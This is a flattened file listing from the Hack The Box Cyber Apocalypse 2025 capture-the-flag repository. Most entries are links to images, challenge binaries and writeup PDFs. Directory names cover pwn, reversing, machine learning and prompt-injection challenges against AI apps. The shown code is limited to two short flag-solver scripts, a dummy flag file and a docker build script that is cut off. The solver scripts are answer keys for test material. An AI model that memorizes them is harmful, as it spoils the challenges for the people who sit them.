https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/post_http.png -------------------------------------------------------------------------------- /forensics/ToolPie/assets/wireshark_stats.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/forensics/ToolPie/assets/wireshark_stats.png -------------------------------------------------------------------------------- /machine_learning/ml_crystal_corruption/assets/pic1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_crystal_corruption/assets/pic1.png -------------------------------------------------------------------------------- /machine_learning/ml_crystal_corruption/assets/pic2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_crystal_corruption/assets/pic2.png -------------------------------------------------------------------------------- /machine_learning/ml_crystal_corruption/assets/pic3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_crystal_corruption/assets/pic3.png -------------------------------------------------------------------------------- /machine_learning/ml_enchanted_weights/htb/solver.py: -------------------------------------------------------------------------------- 1 | import torch 2 | 3 | model = SecretModel() 4 | model.load_state_dict(torch.load("eldorian_artifact.pth")) 5 | 6 | # Extract the diagonal weights 7 | weights = model.hidden.weight.detach().numpy() 8 | print(weights) 9 | ascii_values = weights.diagonal().astype(int) 10 | 11 | # Decode ASCII to characters 12 | flag = ''.join(chr(x) for x in ascii_values) 13 | print("Flag:", flag) -------------------------------------------------------------------------------- /machine_learning/ml_malakars_deception/assets/pic1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_malakars_deception/assets/pic1.png -------------------------------------------------------------------------------- /machine_learning/ml_malakars_deception/assets/pic2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_malakars_deception/assets/pic2.png -------------------------------------------------------------------------------- /machine_learning/ml_reverse_prompt/assets/pic1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_reverse_prompt/assets/pic1.png -------------------------------------------------------------------------------- /machine_learning/ml_wasteland/htb/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/machine_learning/ml_wasteland/htb/.DS_Store -------------------------------------------------------------------------------- /prompt_injection/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/.DS_Store -------------------------------------------------------------------------------- /prompt_injection/ai-cursed-gatekeeper/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/.DS_Store -------------------------------------------------------------------------------- /prompt_injection/ai-cursed-gatekeeper/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | idea.md 3 | test/ -------------------------------------------------------------------------------- /prompt_injection/ai-cursed-gatekeeper/images/official_writeup/2025-02-01-04-47-45.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/2025-02-01-04-47-45.png -------------------------------------------------------------------------------- /prompt_injection/ai-cursed-gatekeeper/images/official_writeup/2025-02-01-04-49-38.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/2025-02-01-04-49-38.png -------------------------------------------------------------------------------- /prompt_injection/ai-cursed-gatekeeper/images/official_writeup/2025-02-01-04-51-07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/2025-02-01-04-51-07.png -------------------------------------------------------------------------------- /prompt_injection/ai-cursed-gatekeeper/images/official_writeup/application-ui.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/application-ui.png -------------------------------------------------------------------------------- /prompt_injection/ai-cursed-gatekeeper/images/official_writeup/prompt-injection.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/images/official_writeup/prompt-injection.webp -------------------------------------------------------------------------------- /prompt_injection/ai-cursed-gatekeeper/official_writeup.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-cursed-gatekeeper/official_writeup.pdf -------------------------------------------------------------------------------- /prompt_injection/ai-elixir-emporium/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | idea.md 3 | test/ -------------------------------------------------------------------------------- /prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-29.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-29.png -------------------------------------------------------------------------------- /prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-31.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-31.png -------------------------------------------------------------------------------- /prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-32.png -------------------------------------------------------------------------------- /prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-37.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-37.png -------------------------------------------------------------------------------- /prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-40.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/2025-03-17_01-40.png -------------------------------------------------------------------------------- /prompt_injection/ai-elixir-emporium/images/official_writeup/ai-prompt-flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/ai-prompt-flow.png -------------------------------------------------------------------------------- /prompt_injection/ai-elixir-emporium/images/official_writeup/application-ui.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/application-ui.png -------------------------------------------------------------------------------- /prompt_injection/ai-elixir-emporium/images/official_writeup/prompt-injection.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/images/official_writeup/prompt-injection.webp -------------------------------------------------------------------------------- /prompt_injection/ai-elixir-emporium/official_writeup.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-elixir-emporium/official_writeup.pdf -------------------------------------------------------------------------------- /prompt_injection/ai-embassy-ai/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | idea.md 3 | test/ -------------------------------------------------------------------------------- /prompt_injection/ai-embassy-ai/images/official_writeup/2025-01-02-21-59-42.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/images/official_writeup/2025-01-02-21-59-42.png -------------------------------------------------------------------------------- /prompt_injection/ai-embassy-ai/images/official_writeup/2025-01-03-01-24-51.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/images/official_writeup/2025-01-03-01-24-51.png -------------------------------------------------------------------------------- /prompt_injection/ai-embassy-ai/images/official_writeup/2025-03-16_03-51.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/images/official_writeup/2025-03-16_03-51.png -------------------------------------------------------------------------------- /prompt_injection/ai-embassy-ai/images/official_writeup/application-ui.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/images/official_writeup/application-ui.png -------------------------------------------------------------------------------- /prompt_injection/ai-embassy-ai/images/official_writeup/prompt-example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/images/official_writeup/prompt-example.png -------------------------------------------------------------------------------- /prompt_injection/ai-embassy-ai/images/official_writeup/prompt-injection.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/images/official_writeup/prompt-injection.webp -------------------------------------------------------------------------------- /prompt_injection/ai-embassy-ai/official_writeup.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-embassy-ai/official_writeup.pdf -------------------------------------------------------------------------------- /prompt_injection/ai-lunar-orb/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | idea.md 3 | test/ -------------------------------------------------------------------------------- /prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-25-35.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-25-35.png -------------------------------------------------------------------------------- /prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-27-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-27-03.png -------------------------------------------------------------------------------- /prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-28-30.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-28-30.png -------------------------------------------------------------------------------- /prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-29-11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/images/official_writeup/2024-12-24-20-29-11.png -------------------------------------------------------------------------------- /prompt_injection/ai-lunar-orb/images/official_writeup/application-ui.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/images/official_writeup/application-ui.png -------------------------------------------------------------------------------- /prompt_injection/ai-lunar-orb/images/official_writeup/prompt-injection.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/images/official_writeup/prompt-injection.webp -------------------------------------------------------------------------------- /prompt_injection/ai-lunar-orb/official_writeup.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-lunar-orb/official_writeup.pdf -------------------------------------------------------------------------------- /prompt_injection/ai-mirror-witch/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | idea.md 3 | test/ -------------------------------------------------------------------------------- /prompt_injection/ai-mirror-witch/images/official_writeup/2025-01-21-03-13-25.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-mirror-witch/images/official_writeup/2025-01-21-03-13-25.png -------------------------------------------------------------------------------- /prompt_injection/ai-mirror-witch/images/official_writeup/2025-01-21-03-15-20.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-mirror-witch/images/official_writeup/2025-01-21-03-15-20.png -------------------------------------------------------------------------------- /prompt_injection/ai-mirror-witch/images/official_writeup/2025-01-21-03-18-17.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-mirror-witch/images/official_writeup/2025-01-21-03-18-17.png -------------------------------------------------------------------------------- /prompt_injection/ai-mirror-witch/images/official_writeup/application-ui.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-mirror-witch/images/official_writeup/application-ui.png -------------------------------------------------------------------------------- /prompt_injection/ai-mirror-witch/images/official_writeup/prompt-injection.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-mirror-witch/images/official_writeup/prompt-injection.webp -------------------------------------------------------------------------------- /prompt_injection/ai-mirror-witch/official_writeup.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/prompt_injection/ai-mirror-witch/official_writeup.pdf -------------------------------------------------------------------------------- /pwn/[Easy] Crossbow/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Crossbow/assets/banner.png -------------------------------------------------------------------------------- /pwn/[Easy] Crossbow/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Crossbow/assets/htb.png -------------------------------------------------------------------------------- /pwn/[Easy] Crossbow/assets/interface.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Crossbow/assets/interface.png -------------------------------------------------------------------------------- /pwn/[Easy] Crossbow/htb/crossbow: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Crossbow/htb/crossbow -------------------------------------------------------------------------------- /pwn/[Easy] Laconic/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Laconic/assets/banner.png -------------------------------------------------------------------------------- /pwn/[Easy] Laconic/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Laconic/assets/htb.png -------------------------------------------------------------------------------- /pwn/[Easy] Laconic/htb/laconic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Easy] Laconic/htb/laconic -------------------------------------------------------------------------------- /pwn/[Hard] Vault/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Hard] Vault/assets/banner.png -------------------------------------------------------------------------------- /pwn/[Hard] Vault/assets/crash1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Hard] Vault/assets/crash1.png -------------------------------------------------------------------------------- /pwn/[Hard] Vault/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Hard] Vault/assets/htb.png -------------------------------------------------------------------------------- /pwn/[Hard] Vault/assets/one_gadget.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Hard] Vault/assets/one_gadget.png -------------------------------------------------------------------------------- /pwn/[Hard] Vault/assets/rbp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Hard] Vault/assets/rbp.png -------------------------------------------------------------------------------- /pwn/[Medium] Contractor/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Contractor/assets/banner.png -------------------------------------------------------------------------------- /pwn/[Medium] Contractor/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Contractor/assets/htb.png -------------------------------------------------------------------------------- /pwn/[Medium] Contractor/assets/interface.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Contractor/assets/interface.png -------------------------------------------------------------------------------- /pwn/[Medium] Contractor/htb/contractor: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Contractor/htb/contractor -------------------------------------------------------------------------------- /pwn/[Medium] Contractor/htb/flag.txt: -------------------------------------------------------------------------------- 1 | HTB{dummy} 2 | -------------------------------------------------------------------------------- /pwn/[Medium] Contractor/htb/glibc/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Contractor/htb/glibc/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /pwn/[Medium] Contractor/htb/glibc/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Contractor/htb/glibc/libc.so.6 -------------------------------------------------------------------------------- /pwn/[Medium] Strategist/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/assets/banner.png -------------------------------------------------------------------------------- /pwn/[Medium] Strategist/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/assets/htb.png -------------------------------------------------------------------------------- /pwn/[Medium] Strategist/assets/interface.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/assets/interface.png -------------------------------------------------------------------------------- /pwn/[Medium] Strategist/assets/vis1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/assets/vis1.png -------------------------------------------------------------------------------- /pwn/[Medium] Strategist/htb/glibc/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/htb/glibc/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /pwn/[Medium] Strategist/htb/glibc/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/htb/glibc/libc.so.6 -------------------------------------------------------------------------------- /pwn/[Medium] Strategist/htb/strategist: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Medium] Strategist/htb/strategist -------------------------------------------------------------------------------- /pwn/[Very Easy] Blessing/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Blessing/assets/banner.png -------------------------------------------------------------------------------- /pwn/[Very Easy] Blessing/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Blessing/assets/htb.png -------------------------------------------------------------------------------- /pwn/[Very Easy] Blessing/assets/inter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Blessing/assets/inter.png -------------------------------------------------------------------------------- /pwn/[Very Easy] Blessing/htb/blessing: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Blessing/htb/blessing -------------------------------------------------------------------------------- /pwn/[Very Easy] Blessing/htb/glibc/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Blessing/htb/glibc/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /pwn/[Very Easy] Blessing/htb/glibc/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Blessing/htb/glibc/libc.so.6 -------------------------------------------------------------------------------- /pwn/[Very Easy] Quack Quack/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Quack Quack/assets/banner.png -------------------------------------------------------------------------------- /pwn/[Very Easy] Quack Quack/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Quack Quack/assets/htb.png -------------------------------------------------------------------------------- /pwn/[Very Easy] Quack Quack/assets/inter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Quack Quack/assets/inter.png -------------------------------------------------------------------------------- /pwn/[Very Easy] Quack Quack/htb/glibc/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Quack Quack/htb/glibc/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /pwn/[Very Easy] Quack Quack/htb/glibc/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Quack Quack/htb/glibc/libc.so.6 -------------------------------------------------------------------------------- /pwn/[Very Easy] Quack Quack/htb/quack_quack: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Quack Quack/htb/quack_quack -------------------------------------------------------------------------------- /reversing/[Hard] Heart Protector/assets/AESencryptwithcontext-inside.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/AESencryptwithcontext-inside.png -------------------------------------------------------------------------------- /reversing/[Hard] Heart Protector/assets/checkKey-call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/checkKey-call.png -------------------------------------------------------------------------------- /reversing/[Hard] Heart Protector/assets/checkKey-inside.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/checkKey-inside.png -------------------------------------------------------------------------------- /reversing/[Hard] Heart Protector/assets/encryptImage-call.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/encryptImage-call.png -------------------------------------------------------------------------------- /reversing/[Hard] Heart Protector/assets/encryptImage-inside.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/encryptImage-inside.png -------------------------------------------------------------------------------- /reversing/[Hard] Heart Protector/assets/ghidra-main-module.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/ghidra-main-module.png -------------------------------------------------------------------------------- /reversing/[Hard] Heart Protector/assets/ghidra-main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/ghidra-main.png -------------------------------------------------------------------------------- /reversing/[Medium] Singlestep/htb/flag.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | 3 | matrix = np.array([[88, -17, 19, -57], [45, -9, 10, -29], [-56, 11, -12, 36], [-40, 8, -9, 26]]) 4 | 5 | ans = np.linalg.inv(matrix) 6 | 7 | flag = '' 8 | for i in range(4): 9 | for j in range(4): 10 | flag += chr(round(ans[i][j]) + i * j + 0x41) 11 | flag += '-' 12 | flag = flag[:-1] 13 | print(flag) -------------------------------------------------------------------------------- /secure_coding/Lyra's Tavern - Easy/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/secure_coding/Lyra's Tavern - Easy/assets/banner.png -------------------------------------------------------------------------------- /secure_coding/Lyra's Tavern - Easy/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/secure_coding/Lyra's Tavern - Easy/assets/htb.png -------------------------------------------------------------------------------- /secure_coding/Lyra's Tavern - Easy/build_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t lyras_tavern . 3 | docker run --name=lyras_tavern --rm -p 80:3000 -p 445:445 -p 1337:1337 -it 